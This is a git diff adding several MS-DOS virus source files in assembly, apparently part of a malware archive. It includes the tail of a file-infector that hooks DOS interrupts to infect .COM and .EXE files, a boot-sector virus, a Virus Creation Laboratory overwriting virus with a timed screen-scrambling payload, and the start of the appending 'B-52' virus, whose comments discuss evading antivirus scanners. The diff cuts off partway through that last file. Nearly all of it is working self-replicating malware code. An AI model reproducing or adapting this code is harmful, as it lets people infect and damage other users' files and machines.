mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start +================================================================================ diff --git a/MSDOS/Virus.MSDOS.Unknown.vboot.asm b/MSDOS/Virus.MSDOS.Unknown.vboot.asm new file mode 100644 index 00000000..36840295 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vboot.asm @@ -0,0 +1,514 @@ + jmp short loc_3 + nop + dec cx + inc dx + dec bp + and [bx+si],ah + xor bp,data_10 + add al,[si] +data_14 dw 1 + add al,[bx+si] + add bh,[bp+di] + mov data_12,al + add [bx+di],dl + add [si],al + add [bx+di],dl + add [bp+di],dh +loc_3: + xor ax,ax + mov ss,ax + mov sp,7C00h + mov ds,ax + mov ax,data_5 + sub ax,2 + mov data_5,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + sub ax,7C0h + mov es,ax + mov si,7C00h + mov di,si + mov cx,100h + rep movsw ; Rep while cx>0 Mov [si] to es:[di] + db 8Eh + db 0C8h + push cs + pop ds + call sub_1 + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_1 proc near + xor ah,ah ; Zero register + int 13h ; Disk dl=drive b: ah=func 00h + ; reset disk, al=return status + and data_24,80h + mov bx,data_25 + push cs + pop ax + sub ax,20h + mov es,ax + call sub_3 + mov bx,data_25 + inc bx + mov ax,0FFC0h + mov es,ax + call sub_3 + xor ax,ax ; Zero register + mov data_23,al + mov ds,ax + mov ax,data_3 + mov bx,data_4 + mov data_3,7CD0h + mov data_4,cs + push cs + pop ds + mov data_19,ax + mov data_20,bx + mov dl,data_24 + jmp far ptr loc_2 +sub_1 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_2 proc near + mov ax,301h + jmp short loc_4 + +;==== External Entry into Subroutine ====================================== + +sub_3: + mov ax,201h +loc_4: + xchg ax,bx + add ax,data_18 + xor dx,dx ; Zero register + div data_16 ; ax,dxrem=dx:ax/data + inc dl + mov ch,dl + xor dx,dx ; Zero register + div data_17 ; ax,dxrem=dx:ax/data + mov cl,6 + shl ah,cl ; Shift w/zeros fill + or ah,ch + mov cx,ax + xchg ch,cl + mov dh,dl + mov ax,bx + +;==== External Entry into Subroutine ====================================== + +sub_4: + mov dl,data_24 + mov bx,8000h + int 13h ; Disk dl=drive b: ah=func 02h + ; read sectors to memory es:bx + jnc loc_ret_5 ; Jump if carry=0 + pop ax + +loc_ret_5: + retn +sub_2 endp + + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + push cs + pop es + test data_23,1 + jnz loc_8 ; Jump if not zero + cmp ah,2 + jne loc_8 ; Jump if not equal + cmp data_24,dl + mov data_24,dl + jnz loc_7 ; Jump if not zero + xor ah,ah ; Zero register + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + test dh,7Fh + jnz loc_6 ; Jump if not zero + test dl,0F0h + jnz loc_6 ; Jump if not zero + push dx + call sub_6 + pop dx +loc_6: + mov cx,dx + sub dx,data_26 + mov data_26,cx + sub dx,24h + jc loc_8 ; Jump if carry Set +loc_7: + or data_23,1 + push si + push di + call sub_5 + pop di + pop si + and data_23,0FEh +loc_8: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + jmp far ptr loc_38 + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_5 proc near + mov ax,201h + mov dh,0 + mov cx,1 + call sub_4 + test data_24,80h + jz loc_11 ; Jump if zero + mov si,81BEh + mov cx,4 + +locloop_9: + cmp data_8[si],1 + je loc_10 ; Jump if equal + cmp data_8[si],4 + je loc_10 ; Jump if equal + add si,10h + loop locloop_9 ; Loop if cx > 0 + + retn +loc_10: + mov dx,[si] + mov cx,data_7[si] + mov ax,201h + call sub_4 +loc_11: + mov si,8002h + mov di,7C02h + mov cx,1Ch + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + cmp data_46,1357h + jne loc_13 ; Jump if not equal + cmp data_45,0 + jae loc_ret_12 ; Jump if above or = + mov ax,data_43 + mov data_22,ax + mov si,data_44 + jmp loc_23 + +loc_ret_12: + retn +loc_13: + cmp data_37,200h + jne loc_ret_12 ; Jump if not equal + cmp data_38,2 + jb loc_ret_12 ; Jump if below + mov cx,data_39 + mov al,data_40 + cbw ; Convrt byte to word + mul data_42 ; ax = data * ax + add cx,ax + mov ax,20h + mul data_41 ; ax = data * ax + add ax,1FFh + mov bx,200h + div bx ; ax,dx rem=dx:ax/reg + add cx,ax + mov data_22,cx + mov ax,data_15 + sub ax,data_22 + mov bl,data_13 + xor dx,dx ; Zero register + xor bh,bh ; Zero register + div bx ; ax,dx rem=dx:ax/reg + inc ax + mov di,ax + and data_23,0FBh + cmp ax,0FF0h + jbe loc_14 ; Jump if below or = + or data_23,4 +loc_14: + mov si,1 + mov bx,data_14 + dec bx + mov data_21,bx + mov data_27,0FEh + jmp short loc_15 +data_21 dw 1Ah +data_22 dw 73h +data_23 db 4 +data_24 db 81h +data_25 dw 654Bh + add data_9[bx],dl + push bp + stosb ; Store al to es:[di] +loc_15: + inc data_21 + mov bx,data_21 + add data_27,2 + call sub_3 + jmp short loc_20 +loc_16: + mov ax,3 + test data_23,4 + jz loc_17 ; Jump if zero + inc ax +loc_17: + mul si ; dx:ax = reg * ax + shr ax,1 ; Shift w/zeros fill + sub ah,data_27 + mov bx,ax + cmp bx,1FFh + jae loc_15 ; Jump if above or = + mov dx,data_36[bx] + test data_23,4 + jnz loc_19 ; Jump if not zero + mov cl,4 + test si,1 + jz loc_18 ; Jump if zero + shr dx,cl ; Shift w/zeros fill +loc_18: + and dh,0Fh +loc_19: + test dx,0FFFFh + jz loc_21 ; Jump if zero +loc_20: + inc si + cmp si,di + jbe loc_16 ; Jump if below or = + retn +loc_21: + mov dx,0FFF7h + test data_23,4 + jnz loc_22 ; Jump if not zero + and dh,0Fh + mov cl,4 + test si,1 + jz loc_22 ; Jump if zero + shl dx,cl ; Shift w/zeros fill +loc_22: + or data_36[bx],dx + mov bx,data_21 + call sub_2 + mov ax,si + sub ax,2 + mov bl,data_13 + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + add ax,data_22 + mov si,ax + mov bx,0 + call sub_3 + mov bx,si + inc bx + call sub_2 +loc_23: + mov bx,si + mov data_25,si + push cs + pop ax + sub ax,20h + mov es,ax + call sub_2 + push cs + pop ax + sub ax,40h + mov es,ax + mov bx,0 + call sub_2 + retn +sub_5 endp + +data_26 dw 246Eh +data_27 db 32h + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_6 proc near + test data_23,2 + jnz loc_ret_24 ; Jump if not zero + or data_23,2 + mov ax,0 + mov ds,ax + mov ax,data_1 + mov bx,data_2 + mov data_1,7EDFh + mov data_2,cs + push cs + pop ds + mov data_28,ax + mov data_29,bx + +loc_ret_24: + retn +sub_6 endp + + push ds + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + mov bl,al + cmp bx,data_34 + je loc_27 ; Jump if equal + mov data_34,bx + dec ah + mov data_35,ah + mov ah,1 + cmp bl,7 + jne loc_25 ; Jump if not equal + dec ah +loc_25: + cmp bl,4 + jae loc_26 ; Jump if above or = + dec ah +loc_26: + mov data_33,ah + mov data_31,101h + mov data_32,101h + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + push dx + mov dx,data_31 + jmp short loc_29 +loc_27: + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + push dx + mov ah,2 + mov dx,data_31 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ax,data_30 + cmp data_33,1 + jne loc_28 ; Jump if not equal + mov ax,8307h +loc_28: + mov bl,ah + mov cx,1 + mov ah,9 + int 10h ; Video display ah=functn 09h + ; set char al & attrib ah @curs +loc_29: + mov cx,data_32 + cmp dh,0 + jne loc_30 ; Jump if not equal + xor ch,0FFh + inc ch +loc_30: + cmp dh,18h + jne loc_31 ; Jump if not equal + xor ch,0FFh + inc ch +loc_31: + cmp dl,0 + jne loc_32 ; Jump if not equal + xor cl,0FFh + inc cl +loc_32: + cmp dl,data_35 + jne loc_33 ; Jump if not equal + xor cl,0FFh + inc cl +loc_33: + cmp cx,data_32 + jne loc_35 ; Jump if not equal + mov ax,data_30 + and al,7 + cmp al,3 + jne loc_34 ; Jump if not equal + xor ch,0FFh + inc ch +loc_34: + cmp al,5 + jne loc_35 ; Jump if not equal + xor cl,0FFh + inc cl +loc_35: + add dl,cl + add dh,ch + mov data_32,cx + mov data_31,dx + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,8 + int 10h ; Video display ah=functn 08h + ; get char al & attrib ah @curs + mov data_30,ax + mov bl,ah + cmp data_33,1 + jne loc_36 ; Jump if not equal + mov bl,83h +loc_36: + mov cx,1 + mov ax,907h + int 10h ; Video display ah=functn 09h + ; set char al & attrib ah @curs + pop dx + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + pop dx + pop cx + pop bx + pop ax + pop ds + jmp far ptr loc_1 +data_30 dw 0 +data_31 dw 101h +data_32 dw 101h +data_33 db 0 +data_34 dw 0FFFFh +data_35 db 50h + mov bh,0B7h + mov bh,0B6h + inc ax + inc ax + mov dh,bl + out 5Ah,al ; port 5Ah + lodsb ; String [si] to al + shl ah,cl ; Shift w/zeros fill + jmp far ptr loc_39 + inc ax + db 64h + pop sp + db 60h + push dx + inc ax + inc ax + inc ax + inc ax + db 64h + db 62h + pop si + db 62h + db 60h + pop si + jo loc_37 ; Jump if overflow=1 + inc ax + inc cx + mov bh,0B7h + mov bh,0B6h + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl1casc.asm b/MSDOS/Virus.MSDOS.Unknown.vcl1casc.asm new file mode 100644 index 00000000..914077f1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl1casc.asm @@ -0,0 +1,323 @@ +; UNTITLED.ASM +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Unknown User + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + +Row dw 24 + +flag: xchg dx,ax + mul ch + xchg dx,ax + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + call get_hour + cmp ax,0017h ; Did the function return 23? + je strt00 ; If equal, do effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it + + ;First, get current video mode and page. +strt00: mov cx,0B800h ;color display, color video mem for page 1 + mov ah,15 ;Get current video mode + int 10h + cmp al,2 ;Color? + je A2 ;Yes + cmp al,3 ;Color? + je A2 ;Yes + cmp al,7 ;Mono? + je A1 ;Yes + int 20h ;No,quit + + ;here if 80 col text mode; put video segment in ds. +A1: mov cx,0A300h ;Set for mono; mono videomem for page 1 +A2: mov bl,0 ;bx=page offset + add cx,bx ;Video segment + mov ds,cx ;in ds + + ;start dropsy effect + xor bx,bx ;Start at top left corner +A3: push bx ;Save row start on stack + mov bp,80 ;Reset column counter + ;Do next column in a row. +A4: mov si,bx ;Set row top in si + mov ax,[si] ;Get char & attr from screen + cmp al,20h ;Is it a blank? + je A7 ;Yes, skip it + mov dx,ax ;No, save it in dx + mov al,20h ;Make it a space + mov [si],ax ;and put on screen + add si,160 ;Set for next row + mov di,cs:Row ;Get rows remaining +A5: mov ax,[si] ;Get the char & attr from screen + mov [si],dx ;Put top row char & attr there +A6: call Vert ;Wait for 2 vert retraces + mov [si],ax ;Put original char & attr back + ;Do next row, this column. + add si,160 ;Next row + dec di ;Done all rows remaining? + jne A5 ;No, do next one + mov [si-160],dx ;Put char & attr on line 25 as junk + ;Do next column on this row. +A7: add bx,2 ;Next column, same row + dec bp ;Dec column counter; done? + jne A4 ;No, do this column +;Do next row. +A8: pop bx ;Get current row start + add bx,160 ;Next row + dec cs:Row ;All rows done? + jne A3 ;No +A9: mov ax,4C00h + int 21h ;Yes, quit to DOS with error code + + ;routine to deal with snow on CGA screen. +Vert: push ax + push dx + push cx ;Save all registers used + mov cl,2 ;Wait for 2 vert retraces + mov dx,3DAh ;CRT status port +F1: in al,dx ;Read status + test al,8 ;Vert retrace went hi? + je F1 ;No, wait for it + dec cl ;2nd one? + je F3 ;Yes, write during blanking time +F2: in al,dx ;No, get status + test al,8 ;Vert retrace went low? + jne F2 ;No, wait for it + jmp F1 ;Yes, wait for next hi +F3: pop cx + pop dx + pop ax ;Restore registers + ret +end00: mov ax,04C00h ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl_b52.asm b/MSDOS/Virus.MSDOS.Unknown.vcl_b52.asm new file mode 100644 index 00000000..ec2753bc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl_b52.asm @@ -0,0 +1,808 @@ +; B-52.ASM -- B-52 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by FrankenChrist + +virus_type equ 0 ; Appending Virus + +is_encrypted equ 0 ; We're not encrypted + ; Yeah, it oughtta be + ; considering all the + ; ascii you can see in + ; the final product, + ; but SCAN 97 can detect + ; it if you use encyption + ; so if you know how to + ; modify the encryption + ; so it doesn't scan I'd + ; love to know. + +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + call get_month + cmp ax,0004h ; Did the function return 4? + jg skip00 ; If greater, skip effect + call get_hour + cmp ax,0017h ; Did the function return 23? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + call drop_program +end00: call get_hour + cmp ax,000Eh ; Did the function return 14? + jg skip01 ; If greater, skip effect + call get_minute + cmp ax,0028h ; Did the function return 40? + jl skip01 ; If less, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: lea dx,[di + data02] ; DX points to data + lea si,[di + data03] ; SI points to data + call drop_program +end01: call get_second + cmp ax,001Eh ; Did the function return 30? + jl skip02 ; If less, skip effect + call get_weekday + cmp ax,0003h ; Did the function return 3? + jne skip02 ; If not equal, skip effect + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: lea dx,[di + data04] ; DX points to data + lea si,[di + data05] ; SI points to data + call drop_program +end02: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir 